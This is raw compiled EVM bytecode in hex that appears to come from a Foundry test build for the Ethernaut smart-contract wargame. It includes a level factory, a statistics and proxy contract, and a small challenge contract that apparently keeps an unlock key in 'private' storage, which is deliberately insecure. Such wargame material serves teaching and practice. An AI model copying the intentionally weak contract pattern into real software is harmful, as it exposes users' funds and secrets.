5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001aad565b610829806200246383390190565b610ae58062002c8c83390190565b611e7a806200377183390190565b610daa80620055eb83390190565b6001600160a01b03811681146200123f575f80fd5b5f805f6060848603121562001b91575f80fd5b833562001b9e8162001b69565b9250602084013562001bb08162001b69565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001c035783516001600160a01b03168352928401929184019160010162001bdc565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c495762001c4962001c0f565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c7b5762001c7b62001c0f565b604052919050565b5f67ffffffffffffffff82111562001c9f5762001c9f62001c0f565b50601f01601f191660200190565b5f6020828403121562001cbe575f80fd5b813567ffffffffffffffff81111562001cd5575f80fd5b8201601f8101841362001ce6575f80fd5b803562001cfd62001cf78262001c83565b62001c4f565b81815285602083850101111562001d12575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d4b57818101518382015260200162001d31565b50505f910152565b5f815180845262001d6c81602086016020860162001d2f565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001e3457603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001e1d57605f1988850301835262001e0a84865162001d53565b948d01949350918c019160010162001deb565b505050968901969350509087019060010162001da5565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001f0257888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001eec5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001ea8565b5096890196945050509086019060010162001e6a565b509098975050505050505050565b5f6020828403121562001f21575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f8157603f1988860301845262001f6e85835162001d53565b9450928501929085019060010162001f4f565b5092979650505050505050565b5f6020828403121562001f9f575f80fd5b813562001a588162001b69565b5f806040838503121562001fbe575f80fd5b823562001fcb8162001b69565b9150602083013562001fdd8162001b69565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562002018576200201862001c0f565b5060051b60200190565b5f6200203262001cf78462001c83565b905082815283838301111562002046575f80fd5b62001a5883602083018462001d2f565b5f82601f83011262002066575f80fd5b62001a588383516020850162002022565b8051620020848162001b69565b919050565b5f60208083850312156200209b575f80fd5b825167ffffffffffffffff80821115620020b3575f80fd5b818501915085601f830112620020c7575f80fd5b8151620020d862001cf78262001ffc565b81815260059190911b83018401908481019088831115620020f7575f80fd5b8585015b83811015620021f85780518581111562002113575f80fd5b86016060818c03601f1901121562002129575f80fd5b6200213362001c23565b888201518781111562002144575f80fd5b8201603f81018d1362002155575f80fd5b898101516200216862001cf78262001ffc565b81815260059190911b8201604001908b8101908f83111562002188575f80fd5b6040840193505b82841015620021aa5783518252928c0192908c01906200218f565b8452505050604082015187811115620021c1575f80fd5b620021d18d8b8386010162002056565b8a83015250620021e46060830162002077565b6040820152845250918601918601620020fb565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620016ba57620016ba62002205565b5f6020828403121562002240575f80fd5b815167ffffffffffffffff81111562002257575f80fd5b8201601f8101841362002268575f80fd5b620022798482516020840162002022565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f8351620022ba81600585016020880162001d2f565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022f981600a84016020880162001d2f565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200234281846020880162001d2f565b8351908301906200235881836020880162001d2f565b01949350505050565b602081525f62001a58602083018462001d53565b600181811c908216806200238a57607f821691505b602082108103620023a957634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215620023c0575f80fd5b815162001a588162001b69565b5f60208284031215620023de575f80fd5b5051919050565b80820180821115620016ba57620016ba62002205565b604081525f6200240f604083018562001d53565b828103602084015262002423818562001d53565b95945050505050565b5f602082840312156200243d575f80fd5b815167ffffffffffffffff81111562002454575f80fd5b62002279848285016200205656fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6107af8061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610459565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d836600461047b565b610257565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610459565b6102c5565b61011461035a565b61011d5f6103b3565b565b5f61012861041a565b604080513260601b6bffffffffffffffffffffffff191660208083018290527f3000000000000000000000000000000000000000000000000000000000000000603480850191909152845160158186038101825260359586018752815191840191909120875285518084018590527f3100000000000000000000000000000000000000000000000000000000000000818401528651808203830181529086018752805190840120878401528551808401949094527f32000000000000000000000000000000000000000000000000000000000000009184019190915284518084039091018152919092018352805191012082820152515f90829061022b90610438565b61023591906104b2565b604051809103905ff08015801561024e573d5f803e3d5ffd5b50949350505050565b5f80839050806001600160a01b031663cf3090126040518163ffffffff1660e01b8152600401602060405180830381865afa158015610298573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102bc91906104e2565b15949350505050565b6102cd61035a565b6001600160a01b03811661034e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610357816103b3565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610345565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60405180606001604052806003906020820280368337509192915050565b6102788061050283390190565b6001600160a01b0381168114610357575f80fd5b5f60208284031215610469575f80fd5b813561047481610445565b9392505050565b5f806040838503121561048c575f80fd5b823561049781610445565b915060208301356104a781610445565b809150509250929050565b6060810181835f5b60038110156104d95781518352602092830192909101906001016104ba565b50505092915050565b5f602082840312156104f2575f80fd5b81518015158114610474575f80fdfe60806040525f805460ff1916600190811790915542908190556002805461ffff909216620100000263ffffffff199092169190911761ff0a179055348015610045575f80fd5b50604051610278380380610278833981016040819052610064916100c9565b61007060038281610077565b505061014e565b82600381019282156100a5579160200282015b828111156100a557825182559160200191906001019061008a565b506100b19291506100b5565b5090565b5b808211156100b1575f81556001016100b6565b5f606082840312156100d9575f80fd5b82601f8301126100e7575f80fd5b604051606081016001600160401b038111828210171561011557634e487b7160e01b5f52604160045260245ffd5b604052806060840185811115610129575f80fd5b845b8181101561014357805183526020928301920161012b565b509195945050505050565b61011d8061015b5f395ff3fe6080604052348015600e575f80fd5b5060043610603a575f3560e01c8063b3cea21714603e578063cf309012146059578063e1afb08c146073575b5f80fd5b604660015481565b6040519081526020015b60405180910390f35b5f5460649060ff1681565b60405190151581526020016050565b6082607e36600460b2565b6084565b005b6005546fffffffffffffffffffffffffffffffff1982811691161460a6575f80fd5b505f805460ff19169055565b5f6020828403121560c1575f80fd5b81356fffffffffffffffffffffffffffffffff198116811460e0575f80fd5b939250505056fea264697066735822122005dc573695018ff580f1507a5cdd3821a9d0483d25519b017b200ef6783342e164736f6c63430008180033a26469706673582212201654f9a245419f6c19e7b2c03c962cf3894eac47a4474813bcbf0ecb49eb92c264736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b5